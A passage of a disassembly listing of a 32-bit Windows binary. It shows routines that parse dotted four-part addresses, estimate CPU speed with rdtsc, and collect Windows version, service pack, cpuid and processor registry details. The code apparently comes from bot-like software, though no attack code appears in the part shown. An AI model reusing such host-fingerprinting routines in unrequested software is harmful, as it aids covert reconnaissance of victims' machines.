locret_407D40:				; CODE XREF: sub_407CD4+38j
					; sub_407CD4+56j
		leave
		retn
sub_407CD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407D42	proc near		; CODE XREF: sub_407F3D+19p
					; sub_407F3D+3Fp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	2Eh
		push	[ebp+arg_0]
		call	sub_4078E6
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 3
		jle	short loc_407D63
		xor	eax, eax
		jmp	locret_407E0A
; ---------------------------------------------------------------------------


loc_407D63:				; CODE XREF: sub_407D42+18j
		mov	eax, [ebp+arg_10]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_C]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_8]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_407DE9
		cmp	[ebp+var_8], 1
		jz	short loc_407DCF
		cmp	[ebp+var_8], 2
		jz	short loc_407DB5
		cmp	[ebp+var_8], 3
		jz	short loc_407D9B
		jmp	short loc_407E08
; ---------------------------------------------------------------------------


loc_407D9B:				; CODE XREF: sub_407D42+55j
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407DB5
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407DB5:				; CODE XREF: sub_407D42+4Fj
					; sub_407D42+6Dj
		push	[ebp+arg_0]
		push	[ebp+arg_8]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407DCF
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407DCF:				; CODE XREF: sub_407D42+49j
					; sub_407D42+87j
		push	[ebp+arg_0]
		push	[ebp+arg_C]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407DE9
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407DE9:				; CODE XREF: sub_407D42+43j
					; sub_407D42+A1j
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407E03
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407E03:				; CODE XREF: sub_407D42+BBj
		push	1
		pop	eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407E08:				; CODE XREF: sub_407D42+57j
		xor	eax, eax

locret_407E0A:				; CODE XREF: sub_407D42+1Cj
					; sub_407D42+71j ...
		leave
		retn
sub_407D42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407E0C	proc near		; CODE XREF: sub_407F3D+A3p
					; sub_407F3D+C1p ...

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 72h
		jnz	short loc_407E4A
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jnz	short loc_407E4A
		push	0Ah
		push	[ebp+arg_C]
		push	0FFh
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		jmp	locret_407F3B
; ---------------------------------------------------------------------------


loc_407E4A:				; CODE XREF: sub_407E0C+Dj
					; sub_407E0C+18j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 73h
		jz	short loc_407E64
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 69h
		jnz	loc_407EF9


loc_407E64:				; CODE XREF: sub_407E0C+47j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jnz	loc_407EF9
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407EB3
		cmp	[ebp+arg_10], 0
		jz	short loc_407EB3
		push	[ebp+arg_0]
		call	sub_416B9C
		pop	ecx
		movzx	eax, al
		inc	eax
		mov	[ebp+var_4], al
		push	0Ah
		push	[ebp+arg_C]
		movzx	eax, [ebp+var_4]
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		movzx	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax
		inc	eax
		jmp	locret_407F3B
; ---------------------------------------------------------------------------


loc_407EB3:				; CODE XREF: sub_407E0C+6Fj
					; sub_407E0C+75j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407ECC
		push	[ebp+arg_0]
		push	[ebp+arg_C]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_407EF5
; ---------------------------------------------------------------------------


loc_407ECC:				; CODE XREF: sub_407E0C+AFj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 69h
		jnz	short loc_407EE8
		push	offset dword_418F50
		push	[ebp+arg_C]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_407EF5
; ---------------------------------------------------------------------------


loc_407EE8:				; CODE XREF: sub_407E0C+C9j
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_407EF5:				; CODE XREF: sub_407E0C+BEj
					; sub_407E0C+DAj
		xor	eax, eax
		jmp	short locret_407F3B
; ---------------------------------------------------------------------------


loc_407EF9:				; CODE XREF: sub_407E0C+52j
					; sub_407E0C+61j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407F12
		push	[ebp+arg_4]
		push	[ebp+arg_C]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_407F38
; ---------------------------------------------------------------------------


loc_407F12:				; CODE XREF: sub_407E0C+F5j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407F2B
		push	[ebp+arg_0]
		push	[ebp+arg_C]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_407F38
; ---------------------------------------------------------------------------


loc_407F2B:				; CODE XREF: sub_407E0C+10Ej
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_407F38:				; CODE XREF: sub_407E0C+104j
					; sub_407E0C+11Dj
		mov	eax, [ebp+arg_10]

locret_407F3B:				; CODE XREF: sub_407E0C+39j
					; sub_407E0C+A2j ...
		leave
		retn
sub_407E0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F3D	proc near		; CODE XREF: sub_41349C+192p
					; sub_41349C+3DAp

var_44		= byte ptr -44h
var_40		= byte ptr -40h
var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_2C		= byte ptr -2Ch
var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_0]
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_407F69
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------


loc_407F69:				; CODE XREF: sub_407F3D+23j
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	[ebp+arg_4]
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_407F8F
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------


loc_407F8F:				; CODE XREF: sub_407F3D+49j
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	offset dword_41F028
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_407FB7
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------


loc_407FB7:				; CODE XREF: sub_407F3D+71j
		movsx	eax, [ebp+var_14]
		test	eax, eax
		jnz	short loc_407FC6
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------


loc_407FC6:				; CODE XREF: sub_407F3D+80j
		mov	[ebp+var_18], 1
		push	[ebp+var_18]
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		push	[ebp+var_18]
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		push	[ebp+var_18]
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		push	[ebp+var_18]
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	offset dword_418F54
		push	[ebp+arg_8]
		call	sub_416B5E
		add	esp, 18h
		push	1
		pop	eax

locret_408068:				; CODE XREF: sub_407F3D+27j
					; sub_407F3D+4Dj ...
		leave
		retn
sub_407F3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40806A	proc near		; CODE XREF: sub_41349C+12Ap

var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_0]
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_408096
		xor	eax, eax
		jmp	locret_40813A
; ---------------------------------------------------------------------------


loc_408096:				; CODE XREF: sub_40806A+23j
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_41F028
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4080BB
		xor	eax, eax
		jmp	short locret_40813A
; ---------------------------------------------------------------------------


loc_4080BB:				; CODE XREF: sub_40806A+4Bj
		movsx	eax, [ebp+var_18]
		test	eax, eax
		jnz	short loc_4080D2
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_4080D2:				; CODE XREF: sub_40806A+57j
		movsx	eax, [ebp+var_1C]
		test	eax, eax
		jnz	short loc_4080E9
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_4080E9:				; CODE XREF: sub_40806A+6Ej
		movsx	eax, [ebp+var_20]
		test	eax, eax
		jnz	short loc_408100
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_408100:				; CODE XREF: sub_40806A+85j
		movsx	eax, [ebp+var_4]
		test	eax, eax
		jnz	short loc_408117
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_408117:				; CODE XREF: sub_40806A+9Cj
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	offset dword_418F54
		push	[ebp+arg_0]
		call	sub_416B5E
		add	esp, 18h
		push	1
		pop	eax

locret_40813A:				; CODE XREF: sub_40806A+27j
					; sub_40806A+4Fj
		leave
		retn
sub_40806A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40813C	proc near		; CODE XREF: sub_407928+54p
					; sub_407928+9Dp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_0], 0
		jz	short loc_408150
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx


loc_408150:				; CODE XREF: sub_40813C+Aj
		mov	eax, [ebp+arg_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		jmp	short loc_408161
; ---------------------------------------------------------------------------


loc_40815A:				; CODE XREF: sub_40813C:loc_4081A0j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_408161:				; CODE XREF: sub_40813C+1Cj
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_4081A2
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax


loc_408171:				; CODE XREF: sub_40813C+56j
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_408194
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_8]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jz	short loc_408194
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_408171
; ---------------------------------------------------------------------------


loc_408194:				; CODE XREF: sub_40813C+3Dj
					; sub_40813C+4Dj
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4081A0
		jmp	short loc_4081A2
; ---------------------------------------------------------------------------


loc_4081A0:				; CODE XREF: sub_40813C+60j
		jmp	short loc_40815A
; ---------------------------------------------------------------------------


loc_4081A2:				; CODE XREF: sub_40813C+2Dj
					; sub_40813C+62j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax


loc_4081AE:				; CODE XREF: sub_40813C:loc_4081F5j
		mov	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_4081F7
		mov	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_4081D7
		mov	eax, [ebp+var_C]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	short loc_4081F7
; ---------------------------------------------------------------------------


loc_4081D7:				; CODE XREF: sub_40813C+8Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4081F5
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax


loc_4081F5:				; CODE XREF: sub_40813C+AAj
		jmp	short loc_4081AE
; ---------------------------------------------------------------------------


loc_4081F7:				; CODE XREF: sub_40813C+7Aj
					; sub_40813C+99j
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+var_C]
		neg	eax
		sbb	eax, eax
		and	eax, [ebp+var_8]
		leave
		retn
sub_40813C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40820E	proc near		; CODE XREF: sub_40821B:loc_408221p
					; sub_40821B+1Cp
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		rdtsc
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40820E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40821B	proc near		; CODE XREF: sub_4083AD+3A4p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20h


loc_408221:				; CODE XREF: sub_40821B+4Aj
					; sub_40821B+55j
		call	sub_40820E
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], edx
		push	3E8h
		call	dword_41709C
		call	sub_40820E
		sub	eax, [ebp+var_20]
		sbb	edx, [ebp+var_1C]
		push	0
		push	186A0h
		push	edx
		push	eax
		call	sub_416C90
		push	0
		push	0Ah
		push	edx
		push	eax
		call	sub_416C90
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 0
		ja	short loc_408221
		jb	short loc_408272
		cmp	[ebp+var_8], 0F4240h
		ja	short loc_408221


loc_408272:				; CODE XREF: sub_40821B+4Cj
		push	0
		push	64h
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416C10
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], edx
		mov	[ebp+var_10], 64h
		and	[ebp+var_C], 0
		cmp	[ebp+var_14], 0
		ja	short loc_4082AB
		jb	short loc_4082A0
		cmp	[ebp+var_18], 50h
		jnb	short loc_4082AB


loc_4082A0:				; CODE XREF: sub_40821B+7Dj
		mov	[ebp+var_10], 4Bh
		and	[ebp+var_C], 0


loc_4082AB:				; CODE XREF: sub_40821B+7Bj
					; sub_40821B+83j
		cmp	[ebp+var_14], 0
		ja	short loc_4082C4
		jb	short loc_4082B9
		cmp	[ebp+var_18], 47h
		jnb	short loc_4082C4


loc_4082B9:				; CODE XREF: sub_40821B+96j
		mov	[ebp+var_10], 42h
		and	[ebp+var_C], 0


loc_4082C4:				; CODE XREF: sub_40821B+94j
					; sub_40821B+9Cj
		cmp	[ebp+var_14], 0
		ja	short loc_4082DD
		jb	short loc_4082D2
		cmp	[ebp+var_18], 37h
		jnb	short loc_4082DD


loc_4082D2:				; CODE XREF: sub_40821B+AFj
		mov	[ebp+var_10], 32h
		and	[ebp+var_C], 0


loc_4082DD:				; CODE XREF: sub_40821B+ADj
					; sub_40821B+B5j
		cmp	[ebp+var_14], 0
		ja	short loc_4082F6
		jb	short loc_4082EB
		cmp	[ebp+var_18], 26h
		jnb	short loc_4082F6


loc_4082EB:				; CODE XREF: sub_40821B+C8j
		mov	[ebp+var_10], 21h
		and	[ebp+var_C], 0


loc_4082F6:				; CODE XREF: sub_40821B+C6j
					; sub_40821B+CEj
		cmp	[ebp+var_14], 0
		ja	short loc_40830F
		jb	short loc_408304
		cmp	[ebp+var_18], 1Eh
		jnb	short loc_40830F


loc_408304:				; CODE XREF: sub_40821B+E1j
		mov	[ebp+var_10], 19h
		and	[ebp+var_C], 0


loc_40830F:				; CODE XREF: sub_40821B+DFj
					; sub_40821B+E7j
		cmp	[ebp+var_14], 0
		ja	short loc_408325
		jb	short loc_40831D
		cmp	[ebp+var_18], 0Ah
		jnb	short loc_408325


loc_40831D:				; CODE XREF: sub_40821B+FAj
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0


loc_408325:				; CODE XREF: sub_40821B+F8j
					; sub_40821B+100j
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+var_18]
		mov	ecx, [ebp+var_4]
		sbb	ecx, [ebp+var_14]
		add	eax, [ebp+var_10]
		adc	ecx, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_8]
		leave
		retn
sub_40821B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408342	proc near		; CODE XREF: sub_40D043+156p
					; sub_40D871+30Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1Fh
		push	[ebp+arg_0]
		push	7
		push	400h
		call	dword_417034
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax+3], 0
		cmp	[ebp+var_4], 0
		jz	short loc_408381
		push	offset off_419100
		push	[ebp+arg_0]
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4083A8


loc_408381:				; CODE XREF: sub_408342+2Aj
		push	1Fh
		push	[ebp+arg_0]
		push	7
		push	800h
		call	dword_417034
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax+3], 0
		mov	eax, [ebp+var_4]
		jmp	short locret_4083AB
; ---------------------------------------------------------------------------


loc_4083A8:				; CODE XREF: sub_408342+3Dj
		push	1
		pop	eax

locret_4083AB:				; CODE XREF: sub_408342+64j
		leave
		retn
sub_408342	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4083AD	proc near		; DATA XREF: sub_4087C4+35o

var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_73C		= dword	ptr -73Ch
var_738		= dword	ptr -738h
var_734		= byte ptr -734h
var_72C		= dword	ptr -72Ch
var_728		= dword	ptr -728h
var_714		= dword	ptr -714h
var_710		= dword	ptr -710h
var_70C		= dword	ptr -70Ch
var_708		= byte ptr -708h
var_6F0		= dword	ptr -6F0h
var_6EC		= dword	ptr -6ECh
var_6E8		= dword	ptr -6E8h
var_6E4		= dword	ptr -6E4h
var_6E0		= byte ptr -6E0h
var_6D0		= dword	ptr -6D0h
var_6CC		= dword	ptr -6CCh
var_6C8		= byte ptr -6C8h
var_524		= dword	ptr -524h
var_520		= dword	ptr -520h
var_51C		= dword	ptr -51Ch
var_518		= dword	ptr -518h
var_514		= dword	ptr -514h
var_510		= dword	ptr -510h
var_50C		= byte ptr -50Ch
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= byte ptr -47Ch
var_409		= byte ptr -409h
var_408		= byte ptr -408h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 750h
		push	ebx
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_6CC]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		lea	eax, [ebp+var_734]
		push	eax
		call	dword_4170C4
		mov	eax, [ebp+var_72C]
		add	eax, 100000h
		shr	eax, 14h
		mov	[ebp+var_6F0], eax
		mov	eax, [ebp+var_728]
		add	eax, 100000h
		shr	eax, 14h
		mov	[ebp+var_738], eax
		call	sub_4092A4
		mov	[ebp+var_714], eax
		mov	eax, [ebp+var_714]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_6E8], eax
		mov	eax, [ebp+var_714]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_524], eax
		mov	eax, [ebp+var_714]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_6E4], eax
		mov	[ebp+var_8], 15h
		mov	[ebp+var_6D0], 10h
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_708]
		push	eax
		call	dword_417018
		lea	eax, [ebp+var_6D0]
		push	eax
		lea	eax, [ebp+var_6E0]
		push	eax
		call	dword_417078
		mov	[ebp+var_520], 94h
		push	24h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_51C]
		rep stosd
		lea	eax, [ebp+var_520]
		push	eax
		call	dword_417030
		mov	[ebp+var_48C], offset a? ; "?"
		mov	[ebp+var_710], offset aNoSp ; "no SP"
		cmp	[ebp+var_51C], 4
		jnz	short loc_408522
		cmp	[ebp+var_518], 0
		jnz	short loc_408522
		cmp	[ebp+var_510], 1
		jnz	short loc_40850A
		mov	[ebp+var_48C], offset a95 ; "95"


loc_40850A:				; CODE XREF: sub_4083AD+151j
		cmp	[ebp+var_510], 2
		jnz	short loc_40851D
		mov	[ebp+var_48C], offset aNt ; "NT"


loc_40851D:				; CODE XREF: sub_4083AD+164j
		jmp	loc_4085B6
; ---------------------------------------------------------------------------


loc_408522:				; CODE XREF: sub_4083AD+13Fj
					; sub_4083AD+148j
		cmp	[ebp+var_51C], 4
		jnz	short loc_408540
		cmp	[ebp+var_518], 0Ah
		jnz	short loc_408540
		mov	[ebp+var_48C], offset a98 ; "98"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------


loc_408540:				; CODE XREF: sub_4083AD+17Cj
					; sub_4083AD+185j
		cmp	[ebp+var_51C], 4
		jnz	short loc_40855E
		cmp	[ebp+var_518], 5Ah
		jnz	short loc_40855E
		mov	[ebp+var_48C], offset aMe ; "ME"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------


loc_40855E:				; CODE XREF: sub_4083AD+19Aj
					; sub_4083AD+1A3j
		cmp	[ebp+var_51C], 5
		jnz	short loc_40857C
		cmp	[ebp+var_518], 0
		jnz	short loc_40857C
		mov	[ebp+var_48C], offset a2000 ; "2000"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------


loc_40857C:				; CODE XREF: sub_4083AD+1B8j
					; sub_4083AD+1C1j
		cmp	[ebp+var_51C], 5
		jnz	short loc_40859A
		cmp	[ebp+var_518], 1
		jnz	short loc_40859A
		mov	[ebp+var_48C], offset aXp ; "XP"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------


loc_40859A:				; CODE XREF: sub_4083AD+1D6j
					; sub_4083AD+1DFj
		cmp	[ebp+var_51C], 5
		jnz	short loc_4085B6
		cmp	[ebp+var_518], 2
		jnz	short loc_4085B6
		mov	[ebp+var_48C], offset a2003 ; "2003"


loc_4085B6:				; CODE XREF: sub_4083AD:loc_40851Dj
					; sub_4083AD+191j ...
		cmp	[ebp+var_510], 2
		jnz	short loc_4085D6
		movsx	eax, [ebp+var_50C]
		test	eax, eax
		jz	short loc_4085D6
		lea	eax, [ebp+var_50C]
		mov	[ebp+var_710], eax


loc_4085D6:				; CODE XREF: sub_4083AD+210j
					; sub_4083AD+21Bj
		call	sub_40435B
		test	eax, eax
		jz	short loc_4085EB
		mov	[ebp+var_744], offset aYes ; "Yes"
		jmp	short loc_4085F5
; ---------------------------------------------------------------------------


loc_4085EB:				; CODE XREF: sub_4083AD+230j
		mov	[ebp+var_744], offset aNo ; "No"


loc_4085F5:				; CODE XREF: sub_4083AD+23Cj
		mov	eax, [ebp+var_744]
		mov	[ebp+var_4], eax
		and	[ebp+var_47C], 0
		and	[ebp+var_409], 0
		xor	eax, eax
		cpuid
		mov	[ebp+var_488], ebx
		mov	[ebp+var_484], edx
		mov	[ebp+var_480], ecx
		lea	eax, [ebp+var_488]
		mov	[ebp+var_6EC], eax
		and	[ebp+var_70C], 0
		lea	eax, [ebp+var_70C]
		push	eax
		push	20019h
		push	0
		push	offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"...
